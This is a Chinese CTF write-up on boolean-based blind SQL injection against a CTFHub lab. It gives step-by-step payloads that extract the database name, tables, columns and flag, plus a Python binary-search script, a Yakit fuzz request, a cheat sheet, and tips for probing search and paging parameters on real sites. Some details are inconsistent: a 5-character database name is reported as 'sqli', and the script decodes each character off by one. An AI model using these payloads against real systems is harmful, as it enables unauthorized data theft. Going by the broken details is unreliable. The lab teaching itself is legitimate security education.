CTFHub SQL 布尔盲注实战攻略

CTFHub SQL 布尔盲注:不回显数据,就用条件判断把数据一位一位"问"出来

靶场:CTFHub - SQL 布尔盲注(整数型)

手法:布尔盲注

适合场景:页面不打印任何查询结果,也不显示报错,只有"查询成功"或"查询失败"两种响应


前置对比:四种注入在什么情况下用

先把这四种主流 SQL 注入手法摆在一起,搞清楚布尔盲注的适用边界,以后做题或者实战,知道什么时候该走这条路。

注入类型 页面必须有的条件 怎么拿数据
UNION 注入 有显示位,能看到某个字段的内容 直接 union select 把数据带出来
报错注入 能显示 MySQL 报错信息 把数据塞进报错函数,借报错外泄
布尔盲注 没有显示位也没有报错,但有真假两种页面响应 构造条件语句,根据页面是"真"还是"假"推断数据
时间盲注 连真假响应都没有,只能靠页面响应时间判断 sleep() 制造延迟,靠延迟判断真假

布尔盲注排第二,排在 UNION 和报错注入后面------因为前两者能直接看到数据,最快;布尔盲注要"问一句答一句",速度慢但最稳,因为它不依赖任何回显,只要有真假响应就能用。

什么时候走布尔盲注:页面干干净净什么都不打印,但输入 and 1=1and 1=2 页面不一样------这个差异就是布尔盲注的起点。


一、先看后端那句 SQL

这类题的后端和前面的 UNION 注入一模一样:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysqli_query($conn, $sql);

SQL 拼接方式相同,区别在于:这道题的页面只显示 "query_success" 或 "query_error" ,不打印任何查询内容。输入 ?id=1,页面显示 "query_success",你看不到 id=1 对应的 titlecontent 是什么。

所以 SELECT * FROM news WHERE id=1 这句 SQL 其实是执行了的,只是结果没有打印出来。我们能用的只有:页面显示 success 还是 error


二、布尔盲注的核心原理:条件判断即出口

布尔盲注的基本思路很简单:

MySQL 里的条件是"非真即假"的。 WHERE id=1 and 1=1 条件恒为真,页面显示 success;WHERE id=1 and 1=2 条件恒为假,页面显示 error。这两个响应不一样,就说明条件被数据库执行了。

反过来想:如果把要查的数据变成条件的一部分,数据本身就会决定页面是 success 还是 error 。比如我知道数据库名第一个字符是 s,那 ascii(substr(database(),1,1))=115 这个条件为真,页面显示 success;我猜错了,条件为假,页面显示 error。数据的内容直接控制了页面的响应。

所以布尔盲注的本质是:用条件真假来"读取"数据的每一位,而不是直接看到数据


三、判断注入点:真假响应就是入口

第一步:确认有注入

复制代码
?id=1 and 1=1    → query_success(条件成立,页面正常)
?id=1 and 1=2    → query_error(条件不成立,页面异常)

两次响应不一样,说明 and 后面的条件被数据库执行了,注入存在。注意这里不是整数型吗,为什么没有 '?因为后端 SQL 是 WHERE id=$id,没有引号,payload 直接跟在 1 后面写就行,不用闭合。

第二步:确认是整数型还是字符型

复制代码
?id=1 and 1=1     → success(整数型,直接用)
?id=1' and 1=1    → error(字符型才会这样,需要加 ' 闭合)

四、自己从零拼 payload:拆清楚三个函数

布尔盲注 payload 的标准结构:

复制代码
?id=1 and ascii(substr((select 某列 from 某表),第几位,1))=ASCII码

这一句里有三个函数嵌套,每一层都有明确作用,拆清楚了自己就能写,不用背模板。

3.1 substr:从字符串里切出一个字符

substr(字符串, 起始位置, 截取长度)

sql 复制代码
substr('sqli', 1, 1)    → 's'(从第1位截1个字符)
substr('sqli', 2, 1)    → 'q'(从第2位截1个字符)
substr('sqli', 3, 1)    → 'l'
substr('sqli', 4, 1)    → 'i'
substr('sqli', 5, 1)    → ''(超过长度,空字符串)

注意起始位置从 1 开始,不是从 0 开始 。MySQL 的 substrsubstring_index 都是 1-indexed,和很多编程语言不同。写 substr('sqli', 0, 1) 会返回空字符串,不会有任何字符,这个坑不少人踩过。

substr(database(), 1, 1) 就能拿到数据库名的第 1 个字符;改第 2 个参数就能取任意位。

3.2 ascii:把字符转成数字

sql 复制代码
ascii('s')    → 115
ascii('q')    → 113
ascii('f')    → 102
ascii('a')    → 97

为什么要包 ascii()?因为字符没法直接比较substr(database(),1,1)='s' 在 MySQL 里能跑,但有时候会受字符集(collation)影响,比如大小写不敏感('S'='s' 会成立),导致猜不准。用 ascii() 转成数字后比较绝对精确,也方便后面用二分法缩小范围。

3.3 =:为什么用等号而不是大于号

二分法可以用 > 逐步缩小范围(先问"是不是大于 64",再问"是不是大于 96"),但等号是更直接的方式------直接猜一个具体 ASCII 码,对就下一位,错就换个码。两种方式都能用,等号适合脚本自动化跑,二分法适合手工快速定位。


五、按顺序把数据一层层挖出来

和 UNION 注入、报错注入一样,先挖库名,再挖表名,再挖列名,最后拿 flag。每一步的 payload 都可以从标准模板推出来,不用硬背。

第 1 步:爆库名长度

为什么要先猜长度?因为后面要用 substr 按位截取,每一位都要单独发一次请求------32 位 flag 要发 32 次,数据库名假设 5 位就发 5 次。在开始逐位猜之前,先知道总长度,可以在最后一位对不上时立刻发现错误,而不是跑完全程才发现猜错了。

复制代码
?id=1 and length(database())=5    → success(说明库名长度是 5)
?id=1 and length(database())=6    → error

如果不知道长度,就只能用 length(database())>N 二分逼近,比如:

复制代码
?id=1 and length(database())>10   → error(说明长度 ≤ 10)
?id=1 and length(database())>5    → error(说明长度 ≤ 5)
?id=1 and length(database())=5    → success(确认长度 = 5)

第 2 步:逐位猜库名

库名长度是 5,逐位猜每一位。

复制代码
?id=1 and ascii(substr(database(),1,1))=115    → success(ASCII 115 = 's')
?id=1 and ascii(substr(database(),2,1))=113    → success(ASCII 113 = 'q')
?id=1 and ascii(substr(database(),3,1))=108    → success(ASCII 108 = 'l')
?id=1 and ascii(substr(database(),4,1))=105    → success(ASCII 105 = 'i')
?id=1 and ascii(substr(database(),5,1))=102    → success(ASCII 102 = 'f')

数据库名:sqli。这就是为什么布尔盲注慢------5 个字符,每个字符最多要跑 90 多次请求(ASCII 33~122),纯手工做非常耗时,一般都上脚本。

第 3 步:爆表名

和报错注入一样,查 information_schema.tables。但布尔盲注里 group_concat 不好用------返回多行时只能看到"查询成功",不知道具体内容是什么。所以用 limit N,1 一次只查一条记录,然后逐表翻。

先看库里有多少张表:

复制代码
?id=1 and (select count(*) from information_schema.tables where table_schema=database())=2    → success(说明有 2 张表)

有 2 张表,用 limit 0,1 取第一张、limit 1,1 取第二张:

复制代码
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110    → success(ASCII 110 = 'n')
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101    → success(ASCII 101 = 'e')
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=119    → success(ASCII 119 = 'w')
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115    → success(ASCII 115 = 's')

第一张表:news。再跑第二张表:

复制代码
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102    → success(ASCII 102 = 'f')

第二张表:flag

这里解释一下 limit 0,1 是什么意思:limit M,N 的意思是"跳过前 M 行,取 N 行"。limit 0,1 跳过 0 行取 1 行 → 取第一行;limit 1,1 跳过 1 行取 1 行 → 取第二行。limit 2,1 就是第三行,以此类推。

第 4 步:爆列名

目标表是 flag,爆它的列名:

复制代码
?id=1 and (select count(*) from information_schema.columns where table_name='flag')=1    → success(说明 flag 表只有 1 列)
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102    → success(ASCII 102 = 'f')
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1))=108    → success(ASCII 108 = 'l')
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),3,1))=97    → success(ASCII 97 = 'a')
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103    → success(ASCII 103 = 'g')

列名:flag

第 5 步:爆 flag

先猜长度,再逐位猜内容:

复制代码
?id=1 and length((select flag from flag))=32    → success(flag 长度是 32)

逐位猜(32 位,每位 1 个请求,全程最多 32×94≈3000 次请求):

复制代码
?id=1 and ascii(substr((select flag from flag),1,1))=99    → success(ASCII 99 = 'c')
?id=1 and ascii(substr((select flag from flag),2,1))=116    → success(ASCII 116 = 't')
?id=1 and ascii(substr((select flag from flag),3,1))=102    → success(ASCII 102 = 'f')
...(依次跑完全部 32 位)

跑完:ctfhub{bfd3623e35f5229260a916a4}


六、什么时候该想到布尔盲注

按触发条件从强到弱排:

最典型信号:页面只有真假两种响应

随便输入一个恒假条件,看页面有没有差异:

sql 复制代码
?id=1 and 1=2
?id=1' and 1=2 --+

如果页面有变化(和正常情况不同),且页面里既不显示查询内容,也不显示报错,那大概率是布尔盲注。

真实渗透里的场景

  • 搜索功能:搜 a' and 1=1 --+a' and 1=2 --+ 看结果是否不同;
  • 分页功能:?page=1 and 1=1 vs ?page=1 and 1=2
  • 过滤/排序参数:任何接受数字或字符串的 URL 参数都值得测。

和报错注入怎么选

  • 报错注入:页面显示报错信息 → 直接把数据喷出来,一次能带很多;
  • 布尔盲注:页面只显示真假,不报错 → 只能一位一位问,慢但稳;
  • 时间盲注:连真假响应都没有 → 用 sleep 制造时间差,条件判断靠延迟。

三者的关系是层层递进的:有报错走报错,没报错有真假走布尔,连真假都没有走时间盲注。


七、自己从零拼 payload 的方法论

把 payload 拆成三块:查什么 → 怎么截取 → 怎么比较。

复制代码
and ascii(substr((select [查什么] from [哪张表]),[第几位],1))=[ASCII码]
  • select ... from ... :和前面 UNION 注入、报错注入一样,只是这里不用 information_schema,用实际表名列名;
  • substr(..., N, 1):取第 N 位字符,N 从 1 开始;
  • ascii(...)=X:把字符转数字,直接比较 ASCII 码。

如果不用 ascii() 改用字符串直接比,需要注意字符集问题------MySQL 默认不区分大小写的 collation 会让 'F'='f' 成立:

sql 复制代码
-- 不推荐:大小写不敏感,容易出错
?id=1 and substr((select flag from flag),1,1)='c'

-- 推荐:转成 ASCII 码精确比较
?id=1 and ascii(substr((select flag from flag),1,1))=99

还有两个辅助函数可以记:

sql 复制代码
-- mid() 是 substr() 的别名,用法完全一样
mid('sqli', 1, 1)    → 's'

-- 如果字符集支持,可以用 ord() 代替 ascii()(MySQL 里基本等价)
ord('s')    → 115

八、提高效率:二分法和脚本

布尔盲注的手工操作极慢,flag 32 位每位最多跑 90 多次,总共 3000 次请求不可能手工完成,必须借助脚本或工具。

二分法减少请求次数

不用从 33 一个个试到 122,而是先问中间值:

sql 复制代码
?id=1 and ascii(substr((select flag from flag),1,1))>64    → success(说明在 65~126 之间)
?id=1 and ascii(substr((select flag from flag),1,1))>96    → success(说明在 97~126 之间)
?id=1 and ascii(substr((select flag from flag),1,1))>112   → error(说明在 97~111 之间)
?id=1 and ascii(substr((select flag from flag),1,1))=99   → success(确认第 1 位是 'c')

每个字符最多问 7 次就能确定,二分查找的时间复杂度是 O(log n),比线性扫描快一个量级。

Python 脚本

python 复制代码
import requests

base_url = "http://challenge-xxx.sandbox.ctfhub.com:10800"
flag_chars = [''] * 32
ascii_range = range(33, 127)  # 可打印字符范围

for pos in range(1, 33):
    # 二分查找
    lo, hi = 33, 127
    while lo < hi:
        mid = (lo + hi) // 2
        payload = f"1 and ascii(substr((select flag from flag),{pos},1))>{mid}"
        resp = requests.get(f"{base_url}/?id={payload}", timeout=10)
        if 'query_success' in resp.text:
            lo = mid + 1
        else:
            hi = mid
    char = chr(lo - 1)
    flag_chars[pos - 1] = char
    print(f"第 {pos} 位: {char}  (ASCII {lo-1})")

print("完整 flag:", ''.join(flag_chars))

这个脚本跑 32×7=224 次请求就能拿到完整 flag,比线性扫描快 10 倍以上。如果跑出乱码(不可打印字符),可能是 flag 里有特殊字符,把 range(33, 127) 扩大试试。

Yakit Web Fuzzer 配置

如果用 Yakit 的 FUZZ 模式跑半自动:

复制代码
GET /?id=1+and+ascii(substr((select+flag+from+flag),{{int(1,32)}},1))={{int(33,127)}} HTTP/1.1
Host: challenge-xxx.ctfhub.com:10800

{``{int(1,32)}} 控制位置,{``{int(33,127)}} 控制 ASCII 范围。跑完后按 query_success 过滤所有命中,提取 {``{int(1,32)}} 和 ASCII 码的对应关系,拼出 flag。

注意 Yakit 全量发包容易触发服务器限流(503),建议在脚本里加 time.sleep(0.1) 限速,或者改用上面的 Python 脚本。


九、布尔盲注 payload 万能公式

把模板拆成零件,按需组合:

复制代码
# 判断真假(探注入)
?id=1 and 1=1        → success 则有注入
?id=1 and 1=2        → error 确认布尔盲注

# 猜长度
?id=1 and length((select 目标 from 表))=N    → success 则长度 = N
?id=1 and length((select 目标 from 表))>N   → success 则长度 > N(二分逼近)

# 逐位猜内容
?id=1 and ascii(substr((select 目标 from 表),N,1))=X    → success 则第 N 位 = ASCII(X)
?id=1 and ascii(substr((select 目标 from 表),N,1))>X    → success 则第 N 位 > X(二分缩小范围)

# 翻多行记录(表有多张时)
limit 0,1    → 取第 1 条记录
limit 1,1    → 取第 2 条记录
limit N,1    → 取第 N+1 条记录

替换规则:

你要查什么 "目标" "表"
数据库名 database() 不需要 from
第 N 张表的表名 table_name information_schema.tables where table_schema=database()
某表的第 N 个列名 column_name information_schema.columns where table_name='表名'
某列的数据 列名 表名

十、速查模板

sql 复制代码
-- 探注入
?id=1 and 1=1    → success
?id=1 and 1=2    → error

-- 库名长度
?id=1 and length(database())=5

-- 库名
?id=1 and ascii(substr(database(),1,1))=115    -- 第1位
?id=1 and ascii(substr(database(),2,1))=113    -- 第2位

-- 表数量
?id=1 and (select count(*) from information_schema.tables where table_schema=database())=2

-- 第1张表名(limit 0,1 是第1条,limit 1,1 是第2条)
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110

-- flag 表的列名
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102

-- flag 长度
?id=1 and length((select flag from flag))=32

-- flag 逐位(重复32次,每次改第2个参数)
?id=1 and ascii(substr((select flag from flag),1,1))=99    -- 第1位
?id=1 and ascii(substr((select flag from flag),2,1))=116   -- 第2位

这条链路和 UNION 注入、报错注入是一模一样的:库名 → 表名 → 列名 → 数据。区别只在于怎么"看到"查出来的内容------UNION 直接显示,报错注入借报错带出,布尔盲注靠条件真假一位一位问出来。思路统一,工具不同。


实战环境http://challenge-xxx.sandbox.ctfhub.com:10800/(容器随机分配,URL 以实际为准)

本篇 flag 示例ctfhub{...}(容器不同 flag 不同,模板直接套用)

相关推荐
杨_晨1 小时前
LLM输出康熙部首冲突
数据库·python·mysql·ai
爱看报的猿1 小时前
【金仓数据库征文】MySQL至金仓KES异构数据库平滑迁移与性能深度调优实战
数据库·数据仓库·mysql·金仓数据库征文
Csvn2 小时前
📊 SQL 入门 Day 16:数据插入技巧
后端·sql
程序猿的学习2 小时前
同一个 Key 写入两次,StarRocks 会留下什么?四种表模型讲明白了
数据库
朱峥嵘(朱髯)2 小时前
数据库如何根据全表 NDV 估算子集的 NDV
数据库·算法
Nturmoils2 小时前
MongoDB迁移:从烟囱式部署走向 KES-AI 时代融合数据库架构
数据库
开开心心就好2 小时前
免费压缩软件WinRAR无弹窗、广告干扰
java·开发语言·前端·数据库·python·excel·winrar
深念Y2 小时前
hotspot-adb-research
linux·数据库·adb·emmc·随身wifi·移动终端
ERD Online2 小时前
我们怎么设计 good first issue:让第一个 PR 两小时内合入
数据库·git·后端·开源·issue